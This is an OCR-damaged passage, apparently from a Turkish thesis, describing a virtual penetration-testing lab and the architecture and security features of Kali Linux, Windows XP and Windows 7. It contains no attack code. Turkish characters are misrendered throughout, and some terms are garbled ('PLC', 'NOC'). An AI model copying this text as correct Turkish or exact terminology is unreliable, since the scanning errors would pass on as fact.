asamalarin1 gergeklestirmek amaciyla Domain Controller’a bagl IIS Server, MSSQL Server,
Windows XP, Windows 7, Windows 10 ve Linux isletim sistemlerinin bulundugu kurumsal
firmalarin IT kurulumlarimi yansitan sanal bir laboratuvar ortami kurulmustur. Linux tizerinde
penetrasyon asamalarini gergeklestirmek amaciyla hedef sistem olarak Metasploitable2 zafiyetli
makinesi kullanilmistir. Android isletim sistemlerinde penetrasyon testi gerceklestirmek
amactyla hedef sistem olarak Kali Linux iizerine SPF(Smart Phone Pentest Framework),
Android 2.1, Android 2.2, Android 4.3 Emiilatorleri kurulmustur. Android Emiilatorlerin
yonetimi SPF araci ile gerceklestirilmistir. Saldirgan olarak Android 4.3 emiilatorii ele
almmustir. Web siteleri izerinde penetrasyon testleri gergeklestirilmesi amactyla da hedef sistem
olarak zafiyetli bir web sitesi uygulama laboratuvari kullanilmistir. Caligma kapsaminda kurulan

sanal laboratuvarin genel hatlar1 Sekil 2.1.”de goriildiigii gibidir.
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Sekil 2.1. Kurulan sanal laboratuvar ortama.
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2.1. Vmware Workstation

Sanallastirma ¢oziimlerinde diinya liderligi yapan Vmware Workstation, veri merkezlerini
sanallastirmak ve test ortamlar1 kurmak icin ¢Oziimler sunmaktadir. Sanallastirma var olan
fiziksel donanim alanlarinin mantiksal boliimlere ayrilmasiyla, ilgili fiziksel makine iizerinde
sanal olarak birden fazla makinenin kullanilmas1 islemini gergeklestiren bir yontemdir (Vugt,
2013). Bu calismada sanallagtirma islemleri Vmware Workstation 15 ve Vmware Workstation
Pro ile yapilmistir. Sekil 2.2.°de Vmware Workstation 15, Sekil 2.3.’de ise Vmware

Workstation Pro programlarinin agilis meniileri gosterilmektedir.
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Sekil 2.2. Vmware workstation 15 player.
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Sekil 2.3. Vmware workstation pro.

Sekil 2.4.°de goriildiigii gibi Vmware Workstation kullanilarak sanallastirilmis katmanlar
olusturulmus bu sanallagtirma katmani sayesinde var olan fiziksel donanim, birden fazla sanal
makineye istenilen oranda dagitilmistir. Vmware Workstation ile bir sanal makinenin
klonlanmasi, anlik durumunun kaydedilmesi ve ag baglantilarinin yapilandirilmasi gibi islemler

gerceklestirilebilmektedir.

Q%W

Sekil 2.4. Sanallagtirma mimarisi.
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2.2. Domain Controller

Domain Controller, yerel agdaki bilgisayar yapisi ve bilgisayar sistemlerinin ¢atisini olusturan
bir etki alami yoneticisidir. Windows sunucu ailesine bagli herhangi bir isletim sistemi
kurularak, domain controller olarak yapilandirilarak yerel ag icindeki tiim bilgisayar aglar1 ve
bilgisayar sistemleri yonetilebilmektedir. Tiim sistem ve aglarin tek bir merkezden (Domain
Controller) yonetilmesinin sagladigi avantajlardan biri Domain igerisindeki her nesne bilgisinin
Active Directory veri tabaninda depolanmasidir. Tim domain yapisinin bilgileri kendi
bilinyesinde barindirilir ve tiim sistem tek bir noktadan yonetildiginde cevrim ig¢i trafik

yOnetilmis dolayisiyla performans arttirilmis olur (Vmware, 2019).

Bu ¢alisma kapsaminda Vmware Workstation iizerinde Windows Server 2012 igletim sistemi
kullanilarak sanal bir Domain Controller kurulmus, konfigiirasyon ayarlar1 yapilmis ve

pentest.com isimli bir Domain Etki Alani olusturulmustur.

2.3. IIS Server

IIS server acilimi Internet Information Services’tir. Windows isletim sistemlerinin web
sunucusu olarak kullanilmaktadir. IIS sunucu, web uygulamalarinin yayinlanabilmesi i¢in
uygulamalari biinyesinde barindirir disar1 sunar ve disaridan gelen ¢agrilar1 yanitlayabilmek i¢in
varsayilan olarak belirlenen 80 numarali portu dinler, gelen talepleri uygun alt yapiya devreder.
Bir istemci http protokolii lizerinden sunucudan bir istekte bulundugunda sunucu tarafinda gelen
istekler ilk 6nce IIS ile karsilanir. IIS sunucular sadece web sayfalarini sunmaz, ayrica uzaktaki
bilesenler i¢in bir gecit gorevi goriir ve FTP sunucu olarak ta kullanilabilmektedir (Stanek,

2008).

Bu ¢alismada Windows Server 2012 ile Vmware Workstation iizerinde sanal bir IIS sunucu
kurulmustur, konfiglirasyonu yapilmistir ve pentest.com domain etki alanine Sekil 2.5°de

goriildiigi gibi eklenmistir.
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Sekil 2.5. Domain etki alanina ekleme.

2.4. MSSQL Server

MSSQL sunucusu herhangi bir yazilimin veya web sitesinin verilerini kullanan ve verilerini
icerisinde saklayan bir veri tabani sistemidir ve acilimi Microsoft SQL Server’dir. Bir blog
icerisindeki yazilar, yorumlar, kullanici bilgileri ve daha bir¢ok veri MSSQL yardimiyla
depolanabilmektedir. MSSQL Server kullanicilara gelismis Ozellikler sunmasi nedeniyle
windows tabanli sunucu ve programlama dillerinde en ¢ok kullanilan veri tabani sistemidir

(Leblanc, 2013).

Bu calismada Windows Server 2012 kullanilarak VMware Workstation iizerinde sanal bir
MSSQL Server olusturulmustur. Konfiglirasyon ayarlar1 yapilip pentest.com domain etki
alanma eklenmistir. Web uygulamalarin penetrasyon testi agamasinda herhangi bir veri taban

olusturulmak istenildiginde MSSQL Server kullanilarak ¢alisma kapsami genisletilebilmektedir.
2.5. Kali Linux

Linux igletim sistemi ilk olarak 5 Ekim 1991°de 0.02 siirimiiyle MIT nin haber listelerinde
diinyaya sunulmustur. Unix, bir isletim sistemi ailesine verilmis ortak bir isimdir ve linux resmi
olarak olmasa da bu isletim sistemi ailesinin tiirevlerinden biridir. Linux ¢ok kullanicili
bilgisayar aglarinda kullanilmak iizere tasarlanmis Unix sistemlerin tiim avantajlarina sahip bir
isletim sistemidir. Linux isletim sistemi birden ¢ok kullanici destegi, ¢ok gorevli olmasi, ¢cok

islemci destegi, TCP/IP destegi, dosya yapisi ve kabuk (shell) gibi 6zellikleri bulundurmaktadir.
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Kali ise daha ¢ok penetrasyon testi iglemlerinde ve tersine miihendislikte kullanilmak iizere

ozellestirilmis Offensive Security 'nin en yeni Linux dagitimlarindan biridir (Mauerer, 2008).

Bu calismada Vmware Workstation kullanilarak sanal bir Kali Linux isletim sistemi

kurulmustur. Kali Linux isletim sistemi Sekil 2.6.’da gosterilmektedir.
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Sekil 2.6. Kali Linux igletim sistemi.

2.5.1. Kali Linux mimarisi

Kali Linux isletim sistemi mimarisi Sekil 2.7.’de goriildiigii gibi gorsellestirilebilmektedir.

Sekil 2.7. Kali Linux mimarisi.
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Linux ¢ekirdegi, tiim islemlerden sorumlu yonetim kademesidir ve sistemin diizgiin ¢alismasini
saglamaktadir. Bilgisayar kaynaklarimi diizenleme, kullanicinin gérevlerinin sirayla yapilmasi,
bellek denetimi ve yan birimlerin (CD-ROM, disket siiriici v.b.) calismasindan c¢ekirdek
sorumludur. Kabuk linux sistemlerde g¢ekirdek araciligi ile kullanicilarin haberlesmesini ve
kullanict ile bilgisayar arasindaki baglantiyr saglamaktadir. Girilen komutlar1 bilgisayara,
sonucu kullaniciya ileten kabuk seviyesidir. Kali Linux’ta kullanilan terminal, komut ile
cekirdege ulasmakta ve kontrol saglamaktadir. Kali Linux siire¢ yOnetimini siire¢ kavrami,
calisan siirecleri izleme, arka plan siireci ve siire¢ sonlandirma olmak iizere 4 kategoride
incelemek miimkiindiir. Calismakta olan program pargacigina siire¢ denilir ve her bir siirecin
kendisine ait bir ID’si (PID) mevcuttur. Siiregler bu PID’ler {izerinden ilerlerken birden fazla
kullanict i¢in ayni anda birden fazla siire¢ kullanilabilmektedir. Sistemde calisan siirecler ve
durumlar “ps” ve “top” komutlar1 ile izlenebilmektedir. Top komutu verileri anlik olarak
giincelleyebilir ve task manager’a benzer bir ¢alisma sistemine sahiptir. Siiregleri sonlandirmak
icin “ps” komutuyla siire¢ ID’leri 6grenildikten sonra “kill” komutu kullanilmaktadir. Siireclere
belirli igleri yapmalarini bildiren sinyallere ve kill komutuna ait sinyallere 1(sighup) ve
9(sigkill) sinyalleri o6rnek verilebilmektedir. 1(Sighup) sinyali bazi servisler tarafindan
konfiglirasyon dosyalarinin yeniden okunmasi igin kullanilirken, 9(sigkill) sinyali siireci
tamamen sonlandirmak i¢in kullanilmaktadir. “Killall” ve “pkill” gibi komutlar da ayn1 amaglar

icin kullanilabilmektedir (Pritchett ve De Smett, 2013).

2.5.2. Kali Linux giivenlik mekanizmasi

Kali Linux glivenlik mekanizmasim fiziksel giivenlik, ¢ekirdek gilivenligi, kullanic1 glivenligi,
parolalar, dosya giivenligi, proxy, TCP/IP ortaminda giivenlik, giivenlik duvarlar, kayit
tutulmasi, giivenlik paketleri agisindan ele almak miimkiindiir. Kali Linux’ta fiziksel giivenlik
BIOS giivenligi olarak ele almacaktir. BIOS giivenligi icin caydirici etki yaratma agisindan
parola ayar1 yapilmalidir fakat bu gene de BIOS’un tam olarak giivenli oldugu anlamina
gelmez. Cekirdek giivenligi igin, ¢ekirdegi giincel tutmak, derlemesini yapmak ve yamali
cekirdek oldugundan emin olmak gerekir. Kullanici giivenliginde, kullanicilara yeni hesaplar
acarken miimkiin oldugunca minimum oranda yetki verilmelidir ve ne zaman oturum agip,
kapattiklarina dair kayitlar mutlaka tutulmalidir. Aktif olmayan kullanici hesaplar silinmeli ve
log dosyalar1 kontrol altinda tutulmalidir. Root, tam yetkili kullanic1 hesaplari giivenligi igin bu
kullanicilarin sahip oldugu yetkiler ¢ok az kisiye verilmelidir ve root olarak rlogin/sh/exec(r-
utilities) uzantis1 kullanilmamali ve kesinlikle rhosts yani 6zel erisim dosyas1 yaratilmamalidir.

Kali Linux ¢ok kullanicili bir isletim sistemidir ve ¢ok kullanicili isletim sistemlerinde sistemi
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kullanmaya yetkisi olmayan kisilerin erisimini engellemek amaciyla her bir kullaniciya belirli
bir parola verilerek her kullanicinin kimligi belirlenmis olur. Verilen parolalar kullanici
bilgileriyle birlikte parola dosyasinda (/etc/passwd) tutulur. Bu dosyadaki her bir satir sirasiyla
kullanici adi, parola, kullanici numarasi, grup numarasi, ad, kisisel dizin ve komut yorumcusu
verilerini bulundurmaktadir. Bu parolalarin yetkisiz kisiler tarafindan ele gegirilmesini 6nlemek
admma crypt fonksiyonu kullanilarak parolalar sifrelenmektedir. Uygulama Sekil 2.8’de

gosterilmektedir.
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Sekil 2.8. Crypt fonksiyonu kullanilarak DES algoritmasi ile parola sifreleme.

Parola giivenligi icin segilecek parola olduk¢a Onemlidir. Erkek ve kadin isimleri, dogum
tarihleri, kullanict adi, telefon numarasi, araba plaka numarasi, sosyal giivenlik numarasi, yer
isimleri, bilgisayar terimleri, klavyede belli bir diizene gore arka arkaya gelen harfler, anlamli
bir sdzciik, yalnizca kiiciik veya biiyiik harflerden olusan parolalar parola olarak se¢ilmemelidir.
Iyi bir parola igin iki sdzciigiin arasina bir rakam ya da noktalama isaretinin koyularak
birlestirilmesi gerekir ve segilen bir climlenin sdzciiklerinin bas harfleri tercih edilmelidir. Koti
niyetli bir kisi kullanici parolalarini ele gegirirse, sisteme giris yaparak dosyalara erisebilir veya
sisteme giris yapmadan bazi programlardaki giivenlik agiklarindan yararlanarak, dosyalara
erisim saglayabilir. Bu tiir riskleri 6nlemek i¢in parola tercihi kullaniciya birakilmamalidir veya
parola se¢imi ve parolalarin gecerlilik siireleri kisitlanmalidir. Sistemde bulunan dosyalar
iizerinde hangi islemlerin yapilabilecegine karar veren bir dosya sahibi ve dosya grubu
mevcuttur. Dosyalarin  giivenligini saglamak icin dosyalarin okunmasi, yazilmasi ve
calistirilmas1 amactyla bu kisilere yetkilendirme yapilmaktadir. Boylece her bir dosya i¢in ii¢
tane iicliiden olusan bir erisim haklari listesi elde edilecektir. Ornegin “rwxr-x--- | hande users
4030 Dec 4 15:30 deneme” komutu ile yapilan bir yetkilendirmede deneme dosyasinin sahibi

hande ve users grubudur. Bu grup ve kullanici disinda diger kisilerin dosya {izerinde herhangi
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bir yetkisi yoktur. Dosya giivenliginin saglanmamasi, kullanicilarin kisisel dosya ve e-
postalarinin okunmasi, sistem dosyalarinin degistirilmesi, kotii niyetli kisiler tarafindan yetkili
kullanicilar yaratilmasi ve kayit dosyalarinin silinmesi gibi riskleri dogurabilmektedir. Bu tiir
riskleri 6nlemek i¢in dosya imzalar1 olusturularak veya tripwire paketi kullanilarak dosyalar
denetlenmeli PGP (Pretty Good Privacy), CSF (Cryptographic File System) kullanilarak
dosyalarin sifrelenmesi gerekmektedir. Bilginin giivenli bir sekilde temini ve paketlerin
depolanmasi acisindan proxy giivenliginin saglanmasi gerekmektedir. Kali Linux’ta Squid adl
yazilim programi ile proxy kullanimi saglanabilmektedir. Squid yazilim programi hangi
paketlerin kaydini tutacagini bilir, gelismis bir hata ve bilgilendirme sistemine sahiptir, hangi
sayfanin ne kadar stire ile ne kadar disk alani {izerinde tutulacagini bilir ve genis bir platform
destegine sahiptir. TCP/IP protokoliiniin tasarimindan kaynakli agiklar, sunucu siireglerindeki
hatalardan kaynakli aciklar, isletim sistemindeki hatalardan kaynakli agiklar ve hizmet dogasi
geregi verilen olanaklarin kotiiye kullanilmasi sistemlere biiylik zararlar verebilmekte ve bu
nedenle TCP/IP protokol ailesinin giivenligi bir sistem i¢in 6nem arz etmektedir. TCP/IP
protokolii giivenlik aciklarindan kaynakli riskleri azaltmak igin gereksiz sunucularin
kapatilmasi, sunuculara erisimin kisitlanmas1 ve giivenilen makinelerin denetlenmesi
gerekmektedir. Kali Linux isletim sisteminin sahip oldugu giivenlik duvarlarn trafik akisim

engelleyebilir veya filtreleyebilir.
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Sekil 2.9. Kali Linux giivenlik duvart.

Sekil 2.9.’da goriildiigii iizere giivenlik duvar1 Kali Linux {izerinde bazi islemlerin yapilmasina
engel olsa da giivenlik agisindan acgik tutulmasinda fayda vardir. Basarisiz sistem giris
denemeleri, basarili sistem giris denemeleri (hangi kullanicinin ne zaman nereden sisteme giris
yaptigl), nerelerden hangi hizmetler i¢cin baglanti isteklerinin geldigi, hizmetler sirasinda
gerceklesen dosya aktarimi bilgilerinin kayit altinda tutulmasi Kali Linux giivenligi agisindan
onemlidir. Sonu¢ olarak Kali Linux igletim sisteminde parola giivenlikleri i¢in crack,

mkpasswd, anlpasswd, shadow password suite giivenlik paketleri, dosya gilivenligi i¢in tripwire,
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pretty good privacy, cryptographic file system giivenlik paketleri, TCP/IP protokolil giivenligi
i¢in socks, secure shell, xinetd, tcpwrapper giivenlik paketleri mevcuttur ve Linux en gilivenilir

isletim sistemlerinden biridir (Hertzog vd., 2017).

2.6. Windows XP Professional

Windows XP, Windows NT isletim sistemi ailesinin bir pargasi olarak Microsoft tarafindan
iretilen 24 Agustos 2001°de iiretime sunulan ve 25 Ekim 2001°de perakende satis i¢in genis
capta piyasaya sunulan kisisel bir bilgisayar isletim sistemidir. Windows XP Professional temel
olarak cevre alt sistemi, yonetici sistemleri ve kullanici uygulamalari olmak iizere ii¢ ana
bilesen i¢cermektedir. Cevre alt sistemi gesitli uygulamalar i¢in ¢alisma zamani destegi sunarken,
yonetici hizmetleri ve Windows XP ¢ekirdegi igletim sistemi ve ¢alisma ortami igin ¢ekirdek
modunu tanimlamaktadir. Kullanic1 uygulamalari, bugiin kullanilan en giiclii ag isletim
sistemleri arasinda Windows XP Professional’1 siralayan islev ve yetenekleri sunmaktadir

(Minasi, 2002). Sekil 2.10.’da igletim sisteminin arayiizii gosterilmektedir.

Sekil 2.10. Windows XP isletim sistemi araytzil.
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2.6.1. Windows XP Professional mimarisi

Sekil 2.11.’de Windows XP isletimin sisteminin mimarisi gosterilmektedir.
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Sekil 2.11. Windows XP Pro mimarisi.

Cekirdek katmani ile kullanici katmani karsilastirildiginda ikisi arasindaki en belirgin fark,
bellegin ¢ekirdek katmani bilesenleri ve kullanici katmani bilesenleri tarafindan nasil
kullanildigidir. Kullanict katmaninda ¢alisan bilesenler donanima erisemez ve dogrudan diger
islemlerle iletisim kuramaz. Kod Windows XP Cekirdek katmaninda calistiginda bilgisayardaki
tim donanima ve bellege erisim saglayabilmektedir. Siire¢ kavrami, bir programin
calistirllabilir kisminin bulundugu ortami, hafiza kullanimini, hangi islemciyi kullanacagini,
nesnesini ve benzeri seyleri tamimlamaktadir. Is parcacigi ise programin calistirilabilir
kismindaki islem Onceligini belirlemeyi esas almaktadir. Windows XP isletim sistemindeki
gorev yoneticisi iglem sekmesi ile tim etkin Windows XP islemleri goriintiilenebilmektedir.
Cocuk islemler, calisma islemi 6zelliklerini ebeveyn(iist) islemlerden almaktadir. Ebeveyn(iist)
islem galigma zamani siireci yaratan Windows XP ¢evre alt sistemidir. Baglam kavrami, gecerli
kayit defteri degerleri ve islem veya islem parcaciginin ¢alistigi calisma ortami degiskenlerini

ifade etmektedir. Windows XP Professional’in g¢evre alt sistemleri olarak ta bilinen ¢oklu
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calisma ortami destegi bircok avantaj saglamaktadir. Windows XP calisma zamani ortaminda
islemlerin veri alisverisinde bulunmasina izin verme teknigine yerel prosediir cagirma (PLC) ad1
verilmektedir. Sanal prosediir ¢agirma koleksiyonlarina ise, dinamik baglant1 kiitliphanesi
(DLL) denmektedir. Baglam anahtari, bir islem i¢in baglam bilgisini bosaltma ve baska bir
islem icin bilgiyi yerlestirme anlamina gelmektedir. Isletim sisteminin daha verimli ¢aligmasina
izin vermek i¢in, Windows XP miimkiin oldugunca baglam gecisi yapmaktan kagmmalidir.
Windows XP 32 bit ve 64 bit mimari uygulamalar1 bu mimarilerin alt sistemleri tizerinde

calismaktadir (Ogleltree, 2002).

LAY
swemi
(wowesd)

Windows Culindegi
T Syt e (M)

Sekil 2.12. Windows XP 32 ve 64 bit mimarilerinin uygulama ve alt sistem katmanlari.

Windows XP isletim sistemi NT ¢ekirdek katmani tizerine kurulmustur ve NT ¢ekirdek katmani

yapisi Sekil 2.12.”deki gorselde gosterilmistir.

2.6.2. Windows XP Professional giivenlik mekanizmasi

Windows XP giivenlik mekanizmas iyilestirmelerinin ¢ogu iyilestirmeler ve gelistirmelerle
Windows 2000’den aktarimistir. Windows XP yeni ag oOzellikleri, kimlik dogrulama ve
yetkilendirme gibi bir¢ok yeni 6zelligi ile yeni giivenlik bilesenlerine sahiptir. Bu 6zelliklerden
biri windows gilivenlik duvart ve windows gilivenlik duvart durum bilgisini igeren kisisel
giivenlik duvaridir. Windows XP diizgiin yapilandirildiginda giivenlik duvar1 makine {izerine ag
tizerinden erigimi kisitlamakta ve blaster solucani gibi ag tabanli saldirilara kargi makineyi
korumaktadir. Windows giivenlik duvar1 kurumsal, SSLF ve FDCC ortamlarindaki ag giivenligi
modeline baska bir katman ekleyebilmektedir ve bazen bu katman, SOHO ortamlarinda tek
giivenlik katmani olarak kullanilmaktadir. Bir ag kopriisii, pahali 6zel donanimlarin (ethernet,

wireless) kullanilmasina gerek kalmadan iki agin goriinmez bir baglant1 ile birlestirilmesini
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saglamaktadir. Kopriileme iki agin asgari miktarda calismasiyla birlestirilmesine izin verirken
ciddi giivenlik sorunlarina da neden olabilmektedir. Windows giivenlik duvar gibi kisisel bir
duvar etkin degilse ve dogru yapilandirma saglanmadiysa, kurulan koprii her iki aga da glivenlik
saglayamaz ve birbirlerinden gelen saldirilara agik hale gelecekleri i¢in kopriilleme islemi 6zel
olarak istenmedik¢e dnerilmez. Giivenlik duvarmin disinda Windows XP’nin sahip oldugu uzak
masaiistli 6zelligi bir windows xp pro sistemine bagka bir bilgisayardan uzaktan erisim
yapilmasima olanak saglar ve bu durum wuzaktaki saldirganlarin varsayilan hesaplarin
parolalarini tahmin ederek, bilgisayara erisim girisiminde bulunmalarina imkéan vermektedir. Bu
nedenle uzaktan erigim sistemlerinin mevcut giivenlik katmanlarini kullanmasi gerekmektedir.
Windows XP bir kablosuz ag ara birim karti (NOC) bulundurdugunda bilgisayar otomatik
olarak tespit ettigi herhangi bir kablosuz aga baglanabilir ve bu durum bilgisayarin erisim
noktasindan baska bir erisim noktasina herhangi bir yeniden yapilandirma olmaksizin kolayca
dolasim yapmasina olanak saglamaktadir. Bdylece bu durum bir saldirgan tarafindan erigim
noktalar1 i¢in hizmet seti tanimlayici (SSID) bilgilerini ortaya ¢ikarmak veya hileli bir erigim
noktasi olusturmak amaciyla kullanilabilmektedir. Kablosuz otomatik yapilandirma, herhangi
bir kablosuz aga baglanmak iizere ayarlanabildigi icin hileli bir erisim noktasi bilgisayari,
bilgisayara saldirabilecek veya bilgisayardan veri toplayabilecek diismanca bir ag baglantisina
olanak saglayabilmektedir. Kablosuz giivenlik i¢in daha iyi bir ¢dzliim saglamak amaciyla Wi-Fi
Alliance adli bir endiistri grubu Wi-Fi korumali erisim (WPA) adli bir {iriin sertifikasi
olusturmustur. Windows XP SP2 ve SP3’te WPA nin sagladig: iletisim 6zelliklerini sifrelemek
icin AES algoritmas1 kullanilmaktadir. Kimlik dogrulama ve yetkilendirme 6zelliklerinden ise
ilki kisisellestirilmis giristir. Bu ozellik kisisel verilerin ve aglarin gizli tutulmasimi ve hesap
verilebilirligi arttirmay1 saglamaktadir. Windows XP giivenlik onlemlerinden biri olan
kisisellestirme ve yetki yiikseltme 6zelliklerinden bir digeri, basit dosya paylagimidir. Bu 6zellik
bir ¢alisma grubu veya Domain Etki Alani icerisindeki bir bilgisayarda kullanilamaz. Basit
dosya paylasimi etkinlestirildiginde sisteme ag ilizerinden erisebilmek icin yalnizca ziyaretci
hesab1 kullanilabilmektedir ve bu durum saldirganlarin yonetici hesaplarin sifrelerini kirarak
sisteme uzaktan erisim saglayamayacaklar1 anlamina gelmektedir. Giivenligi saglamak i¢in basit
dosya paylasimu ile ilgili ayricaliklar olabildigince kisitlanmalidir. Windows XP Professional
icin bos parola igeren hesaplar yalnizca fiziksel sistemin oturum agma ekraninda oturum agmak
icin kullanilmaktadir ve bu durum bos parolalara sahip kullanicilarin aglar iizerinden veya
ikincil oturum agma hizmeti ile (RunAs) kullanilamayacagi anlamima gelmektedir. Bu 6zellik
saldirganlarin bos parolalara uzaktan erisim saglamalarini 6nlemektedir. Windows XP’nin

kimlik bilgisi yonetimi, kullanicilarin isletim sistemi ve uygulamalar i¢in kimlik dogrulama
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bilgilerini saklamalarina izin vermektedir. Uygulamalara veya sistemlere erisim icin herhangi
bir kullanici ad1 veya sifre istendiginde, sifremi hatirla 6zelligi ile kullanict olarak o sisteme
yetkisiz erisim elde eden herkes depolanan kimlik bilgilerinin erisim verdigi tiim kaynaklar1
bulabilmektedir. Bu nedenle sifreler, en az fiziksel tehdidin oldugu ortamlarda ve sifrenin
6nemsiz bir degere sahip oldugu yerlerde depolanmalidir. Hizli kullanic1 degistirme 6zelligi ise,
ayn1 anda iki veya daha fazla kullanicinin ayn1t Windows XP sistemine giris yapmasina izin
vermektedir. Herhangi bir zamanda yalnizca bir kullanici oturumu etkindir ve hizli kullanici
degistirme 6zelligi yalnizca bir kullanicinin baska bir kullanicinin kullandigi sisteme kisa erigim
saglamast gerektigi durumlarda onerilmektedir. Hizli kullanici degistirme 6zelligi yalnizca bir
etki alanma iiye olmayanlar gibi belirli 6zellikleri karsilayan sistemlerde kullanilabilmektedir.
Windows XP SP2 tarafindan eklenen giivenlik 6zelliklerden biri DCOM (Dagitilmis Bilesen
Nesne Modeli) ve RPC’nin (Uzaktan Yordam Cagrisi) adsiz kullanimma artik izin
vermemesidir. COM sunuculari, COM islemlerine yetkisiz erisimi engelleyebilecek erigim
kontrol listelerine sahiptir ve RPC ve DCOM’da yapilan degisiklikler, kotii amagli yazilimin
sistemlere saldirmak i¢in kullandig1 gesitli yontemleri ortadan kaldirmak i¢in tasarlanmistir.
Ancak bu degisiklikler birgok mevcut programi da bozabileceginden DCOM veya RPC
kullanan tiim uygulamalar, bir kurulusa dagitilmadan 6nce Windows XP SP2 veya SP3 ile
kapsaml1 bir sekilde test edilmelidir. DTC (Dagitilmus Islem Diizelticisi) 6zelligi, veri tabanlart
ve diger kaynaklar i¢in islemlerin islenmesinde kullanilir ve windows XP SP2 ve SP3’te, DTC
ile ag erigimi varsayilan olarak devre disidir. Kuruluslar DTC’yi yalniz uygulamalarin ihtiyag
duydugu erisimi saglayacak ve miimkiin oldugunda bunlarn karsiliklt kimlik dogrulama ve
sifreleme ile koruyacak sekilde yapilandirmalidir. Windows 2000 temelli gelen giivenlik
ozelliklerinden bir olan kerberos, etki alaninda Windows XP Professional, Internet Engineering
Task Force (IETF), Yorum istegi (RFC) 1510°da tanimlandig1 gibi MIT Kerberos v.5 kimlik
dogrulamasi igin destek saglamakta ve li¢ protokolden olusmaktadir. Bunlar: Kimlik Dogrulama
Hizmeti (AS) Degisimi, Bilet Verme Hizmeti (TGS) Degisimi ve Istemci/Sunucu (CS)
Degisimi’dir. Kerberos v.5 standardi yalnizca salt windows etki alani ortamlarinda
kullanilabilmekte ve windows etki alani {iyeleri, eski ve daha az gilivenli olan NTLM ve
LanManager (LM) kimlik dogrulama yontemlerinin yerine, varsayilan ag istemcisi/sunucu
kimlik dogrulama protokolii olarak kerberos kullanmaktadir. Eski yontemler, eski windows
istemcilerinin bir windows etki alani ortaminda kimlik dogrulamalarini saglamak i¢in hala
desteklenmektedir ve windows XP professional bagimsiz is istasyonlart ve NT etki alam
tiyeleri, yerel kimlik dogrulamasi yapmak i¢in kerberos kullanmak yerine geleneksel NTLM

kullanmaktadir. Kerberos oturum ag¢ma kimlik bilgileri i¢in eski kimlik dogrulama
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yontemlerinden daha giiclii koruma sagladigindan giivenligi saglamak agisindan daha c¢ok tercih
edilmelidir. NIST, SSL ve FDCC ortamlarinda LM ve NTLM v1’in devre dis1 birakilmasini ve
diger ortamlarda ise LM nin devre dis1 birakilmasini 6nermektedir. Windows XP, windows ip
giivenligi ad1 verilen IETF Internet protokolii giivenligi (IPsec) standardinin bir uygulamasini
icermektedir ve gizlilik, biitiinliik i¢in ag diizeyinde destek saglamaktadir. Gizlilik, yetkisiz
kisilerin aglardan gecerken verilere erismelerini 6nleyen paketlerin sifrelenmesiyle saglanirken,
biitiinliik kismen gonderen ve alic1 tarafindan paylasilan bir gizli anahtara dayanan her paket
icin bir karma hesaplanmasi ve paket iginde paketin gonderilmesi ile desteklenmektedir.
Windows XP’nin ip giivenligi, kamuya agik aglarda dolasan verileri korumak ve hassas aglari
0zel aglarda korumak i¢in bir ¢6ziim sunar ve kurumsal ve SOHO ortamlarinda kablosuz ag
iletisimini korumak i¢in yaygin olarak kullanilmaktadir. Windows ip gilivenligini windows
giivenlik duvart gibi kisisel bir giivenlik duvariyla birlikte kullanmak, hem gelen hem de giden
paketleri sinirlandirarak ag tabanli saldirilara karsi koruma saglayabilmektedir. Windows XP’de
bulunan sifreleme dosya sistemi (EFS), kullanicilara NTFS bi¢imli bir birimde bulunan dosya
ve klasorleri goriinmez bir sekilde sifrelemek veya sifresini ¢ézmek icin bir yontem saglar.
Windows XP’nin 6zgiin siirimiinde, EFS, Veri Sifreleme standardinin (DES) daha giiclii bir
degiskeni olan tglii veri sifreleme standardi (3DES) algoritmasi veya genisletilmis veri
sifreleme standardi (DESX) kullanilmaktadir. Windows XP Service Pack 1 gelismis sifreleme
standard1 (AES) algoritmasi i¢in destek eklemistir ve SP1, SP2, SP3 sistemleri, EFS igin
varsayilan olarak AES algoritmasini kullanmistir. Bu durum, varsayilan olarak windows
2000°den gelen bir degisikliktir ve 6zellikle fiziksel saldir riski yiiksek diz iistii bilgisayarlarla
birlikte diger sistemlerde kullanisli olan EFS, dosyalar {izerinde yerel sifreleme saglamak i¢in

kullanilmaktadir (Scarfone, 2008).

2.7. Windows 7 Professional

Windows 7 windows NT igletim sistemi ailesinin bir parcasi olup, Microsoft tarafindan 22
Temmuz 2009’da {iretilmis ve 22 Ekim 2009’da yaygin olarak kullanilmaya baslanmig bir
kisisel bilgisayar isletim sistemidir. Sekil 2.13.’de sistemin ara yiizii gosterilmektedir (Ramesh,

2009).
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Sekil 2.13. Windows 7 isletim sistemi ara yiizii.

2.7.1. Windows 7 Professional mimarisi

Windows 7 Professional Mimari katmanlar1 Sekil 2.14.’de goriildiigii gibidir. Buradaki ¢ekirdek
katmani korumali modda c¢alisir ve islem parcalarimi, kesintileri, yakalama islemlerini
destekleyerek CPU’ya erisim saglamaktadir. Yonetici katmani da koruyucu modda galisir,
cekirdek katmanin lizerinde yer alir ve temel sistem servislerini saglamaktadir. Yonetici
katman1 {lizerinde bulunan cevre alt sistemi katmani, farkli isletim sistemi uygulamalarini

destekleyen, kullanict katmaninda ¢alismaktadir.
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Sekil 2.14. Windows 7 Professional mimarisi.

Windows 7 isletim sistemi bir donanim platformundan digerine taginmak isterse biraz degisiklik
yapilmasi gerekmektedir. Windows 7 isletim sistemi C/C++ dilleriyle yazilmistir ve platforma
bagimhi kod, donamim soyutlama katmam1 (HAL) adi verilen dinamik bir baglanti
kiitiiphanesinde (DLL) korunmaktadir. Windows 7 isletim sistemi, is parcacigl planlamasi,
kesme ve istisna isleme, diigiik seviye islemci senkronizasyonu, ani gili¢ kesintisi sonrasi sistem
kurtarma gibi sorumluluklar1 iceren 4 ana bilesenden olugmaktadir. Windows 7 ¢ekirdegi
dagitic1 ve kontrol nesneleri olmak tizere nesne yonelimli iki nesne kullanmaktadir. Dagitict
nesneler olay, is parcacigl, semafor, zamanlayici gibi bilesenlerde gonderim ve senkronizasyonu
kontrol ederken, kontrol nesnesi senkronize olmayan islem c¢agrilarini, islem ve profil
nesnelerini, gii¢ bildirimini kontrol etmektedir. Windows 7’de siire¢ kavraminin bir sanal bellek
adres alani, bilgisi (temel oncelik gibi) ve bir veya daha fazla islemci i¢in yakinhig1 vardir. Is
parcacigi ise, ¢ekirdegin gondericisi tarafindan programlanan bir yiiriitme birimidir. Her bir is
pargacigmin islemci benzesligi ve hesap bilgileri olmak tizere kendine ait bir durumu mevcuttur.
Bir iglem pargaciginin hazir halde, bekleme konumunda(standby), calisir halde, gecis halinde,
beklemede(waiting) ve sonlandirilmis olmak {izere alti durumu vardir ve iglem parcacigr bu
durumlardan birinde var olabilmektedir. Cekirdek planlamasiyla ilgili olarak windows 7 igletim
